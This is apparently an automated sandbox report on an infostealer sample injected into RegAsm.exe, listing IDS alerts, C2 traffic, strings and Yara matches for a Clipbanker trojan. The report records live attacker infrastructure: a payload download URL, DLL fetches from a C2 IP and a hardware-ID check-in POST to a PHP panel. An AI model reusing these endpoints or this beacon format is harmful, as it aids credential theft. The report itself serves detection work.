JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49707 -> 45.152.113.10:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49717 -> 198.54.120.231:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:49717 -> 198.54.120.231:443

Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00405000 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetOpenUrlA,InternetReadFile,memcpy,InternetCloseHandle,InternetCloseHandle,

2_2_00405000

Source: global traffic	HTTP traffic detected: GET /app/l2.exe HTTP/1.1Host: evokeedgellc.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 45.152.113.10Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15a25e53742510fe/sqlite3.dll HTTP/1.1Host: 45.152.113.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15a25e53742510fe/freebl3.dll HTTP/1.1Host: 45.152.113.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15a25e53742510fe/mozglue.dll HTTP/1.1Host: 45.152.113.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15a25e53742510fe/msvcp140.dll HTTP/1.1Host: 45.152.113.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15a25e53742510fe/nss3.dll HTTP/1.1Host: 45.152.113.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15a25e53742510fe/softokn3.dll HTTP/1.1Host: 45.152.113.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15a25e53742510fe/vcruntime140.dll HTTP/1.1Host: 45.152.113.10Cache-Control: no-cache

Source: global traffic

DNS traffic detected: DNS query: evokeedgellc.com

Source: unknown

HTTP traffic detected: POST /92335b4816f77e90.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBFHDBKJEGHJJJKFIIJEHost: 45.152.113.10Content-Length: 214Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 46 37 32 36 34 46 35 45 30 33 36 33 38 34 38 34 36 38 37 36 36 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 45 2d 2d 0d 0a Data Ascii: ------FBFHDBKJEGHJJJKFIIJEContent-Disposition: form-data; name="hwid"FF7264F5E0363848468766------FBFHDBKJEGHJJJKFIIJEContent-Disposition: form-data; name="build"default------FBFHDBKJEGHJJJKFIIJE--

Source: RegAsm.exe, 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2224993314.00000000010EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10
Source: RegAsm.exe, 00000002.00000002.2224993314.000000000112C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/
Source: RegAsm.exe, 00000002.00000002.2224993314.000000000112C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/15a25e53742510fe/freebl3.dll
Source: RegAsm.exe, 00000002.00000002.2224993314.000000000112C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/15a25e53742510fe/freebl3.dlll
Source: RegAsm.exe, 00000002.00000002.2224993314.000000000112C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/15a25e53742510fe/mozglue.dll
Source: RegAsm.exe, 00000002.00000002.2224993314.000000000112C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/15a25e53742510fe/msvcp140.dll
Source: RegAsm.exe, 00000002.00000002.2224993314.000000000112C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/15a25e53742510fe/msvcp140.dll&
Source: RegAsm.exe, 00000002.00000002.2224993314.00000000010EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/15a25e53742510fe/nss3.dll
Source: RegAsm.exe, 00000002.00000002.2224993314.000000000112C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/15a25e53742510fe/softokn3.dll
Source: RegAsm.exe, 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/15a25e53742510fe/sqlite3.dll
Source: RegAsm.exe, 00000002.00000002.2224993314.000000000112C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/15a25e53742510fe/vcruntime140.dll
Source: RegAsm.exe, 00000002.00000002.2224993314.000000000112C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/15a25e53742510fe/vcruntime140.dllH
Source: RegAsm.exe, 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/92335b4816f77e90.php
Source: RegAsm.exe, 00000002.00000002.2252189623.00000000343A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/92335b4816f77e90.php0
Source: RegAsm.exe, 00000002.00000002.2224993314.000000000112C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/92335b4816f77e90.phpL
Source: RegAsm.exe, 00000002.00000002.2252189623.00000000343A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/92335b4816f77e90.phpT
Source: RegAsm.exe, 00000002.00000002.2252189623.00000000343A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/92335b4816f77e90.phpe
Source: RegAsm.exe, 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/92335b4816f77e90.phpllets
Source: RegAsm.exe, 00000002.00000002.2252189623.00000000343A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/92335b4816f77e90.phppv
Source: RegAsm.exe, 00000002.00000002.2252189623.00000000343A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/92335b4816f77e90.phps
Source: RegAsm.exe, 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10amData
Source: file.exe	String found in binary or memory: http://aia.entrust.net/ts1-chain256.cer01
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: file.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: file.exe, freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: file.exe	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: file.exe	String found in binary or memory: http://crl.entrust.net/ts1ca.crl0
Source: BKKFCFBKFC.exe, 0000000B.00000003.2207195477.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp, l2[1].exe.2.dr, BKKFCFBKFC.exe.2.dr, oobeldr.exe.11.dr	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: file.exe, freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: BKKFCFBKFC.exe, 0000000B.00000003.2207195477.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp, l2[1].exe.2.dr, BKKFCFBKFC.exe.2.dr, oobeldr.exe.11.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: file.exe, freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: file.exe	String found in binary or memory: http://ocsp.entrust.net02
Source: file.exe	String found in binary or memory: http://ocsp.entrust.net03
Source: BKKFCFBKFC.exe, 0000000B.00000003.2207195477.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp, l2[1].exe.2.dr, BKKFCFBKFC.exe.2.dr, oobeldr.exe.11.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: Amcache.hve.6.dr	String found in binary or memory: http://upx.sf.net
Source: file.exe, freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe	String found in binary or memory: http://www.entrust.net/rpa03
Source: RegAsm.exe, RegAsm.exe, 00000002.00000002.2252907582.000000006BF2D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.2.dr, mozglue.dll.2.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: RegAsm.exe, 00000002.00000002.2240031378.000000001B4E8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2252652143.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: RegAsm.exe, 00000002.00000002.2224993314.000000000114A000.00000004.00000020.00020000.00000000.sdmp, AFHDAKJK.2.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: RegAsm.exe, 00000002.00000002.2246169531.0000000027681000.00000004.00000020.00020000.00000000.sdmp, EHDGCGIDAKEBKECAFIEH.2.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: RegAsm.exe, 00000002.00000002.2246169531.0000000027681000.00000004.00000020.00020000.00000000.sdmp, EHDGCGIDAKEBKECAFIEH.2.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: RegAsm.exe, 00000002.00000002.2224993314.000000000114A000.00000004.00000020.00020000.00000000.sdmp, AFHDAKJK.2.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: RegAsm.exe, 00000002.00000002.2224993314.000000000114A000.00000004.00000020.00020000.00000000.sdmp, AFHDAKJK.2.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: RegAsm.exe, 00000002.00000002.2224993314.000000000114A000.00000004.00000020.00020000.00000000.sdmp, AFHDAKJK.2.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: RegAsm.exe, 00000002.00000002.2246169531.0000000027681000.00000004.00000020.00020000.00000000.sdmp, EHDGCGIDAKEBKECAFIEH.2.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: RegAsm.exe, 00000002.00000002.2246169531.0000000027681000.00000004.00000020.00020000.00000000.sdmp, EHDGCGIDAKEBKECAFIEH.2.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: RegAsm.exe, 00000002.00000002.2224993314.000000000114A000.00000004.00000020.00020000.00000000.sdmp, AFHDAKJK.2.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: RegAsm.exe, 00000002.00000002.2224993314.000000000114A000.00000004.00000020.00020000.00000000.sdmp, AFHDAKJK.2.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: RegAsm.exe, 00000002.00000002.2224993314.000000000114A000.00000004.00000020.00020000.00000000.sdmp, AFHDAKJK.2.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: RegAsm.exe, 00000002.00000002.2224993314.000000000114A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://evokeedgellc.com/
Source: RegAsm.exe, 00000002.00000002.2224993314.000000000114A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://evokeedgellc.com/$%
Source: RegAsm.exe, 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://evokeedgellc.com/app/l2.exe
Source: RegAsm.exe, 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://evokeedgellc.com/app/l2.exe0.phprefox
Source: RegAsm.exe, 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://evokeedgellc.com/app/l2.exe00Start0
Source: RegAsm.exe, 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://evokeedgellc.com/app/l2.exee0eb4c49dd37e6879e908088eeb1c701d931-release
Source: EHDGCGIDAKEBKECAFIEH.2.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: https://mozilla.org0/
Source: BKKFCFBKFC.exe, 0000000B.00000003.2207195477.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp, l2[1].exe.2.dr, BKKFCFBKFC.exe.2.dr, oobeldr.exe.11.dr	String found in binary or memory: https://sectigo.com/CPS0
Source: DBKKFCBAKKFBGCBFHJDGDGDHCA.2.dr	String found in binary or memory: https://support.mozilla.org
Source: DBKKFCBAKKFBGCBFHJDGDGDHCA.2.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: DBKKFCBAKKFBGCBFHJDGDGDHCA.2.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: RegAsm.exe, 00000002.00000002.2246169531.0000000027681000.00000004.00000020.00020000.00000000.sdmp, EHDGCGIDAKEBKECAFIEH.2.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: RegAsm.exe, 00000002.00000002.2246169531.0000000027681000.00000004.00000020.00020000.00000000.sdmp, EHDGCGIDAKEBKECAFIEH.2.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: RegAsm.exe, 00000002.00000002.2224993314.000000000114A000.00000004.00000020.00020000.00000000.sdmp, AFHDAKJK.2.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe	String found in binary or memory: https://www.entrust.net/rpa0
Source: RegAsm.exe, 00000002.00000002.2224993314.000000000114A000.00000004.00000020.00020000.00000000.sdmp, AFHDAKJK.2.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: DBKKFCBAKKFBGCBFHJDGDGDHCA.2.dr	String found in binary or memory: https://www.mozilla.org
Source: RegAsm.exe, RegAsm.exe, 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: DBKKFCBAKKFBGCBFHJDGDGDHCA.2.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: RegAsm.exe, RegAsm.exe, 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: DBKKFCBAKKFBGCBFHJDGDGDHCA.2.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: RegAsm.exe, 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: DBKKFCBAKKFBGCBFHJDGDGDHCA.2.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: RegAsm.exe	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&u
Source: DBKKFCBAKKFBGCBFHJDGDGDHCA.2.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: DBKKFCBAKKFBGCBFHJDGDGDHCA.2.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: RegAsm.exe, RegAsm.exe, 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: DBKKFCBAKKFBGCBFHJDGDGDHCA.2.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: RegAsm.exe, 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/kZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGp
Source: RegAsm.exe, 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/vRm9ybXxwbmxjY21vamNtZW9obHBnZ21mbmJiaWFwa21ibGlvYnwxfDB8MHx

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443

Source: unknown

HTTPS traffic detected: 198.54.120.231:443 -> 192.168.2.5:49717 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00418AB0 CreateStreamOnHGlobal,GetDesktopWindow,GetWindowRect,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GetHGlobalFromStream,GlobalLock,GlobalSize,SelectObject,DeleteObject,DeleteObject,ReleaseDC,CloseWindow,

2_2_00418AB0

System Summary

Malicious sample detected (through community Yara rule)

Source: 15.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 15.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 11.2.BKKFCFBKFC.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 11.2.BKKFCFBKFC.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0000000B.00000002.2209559446.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
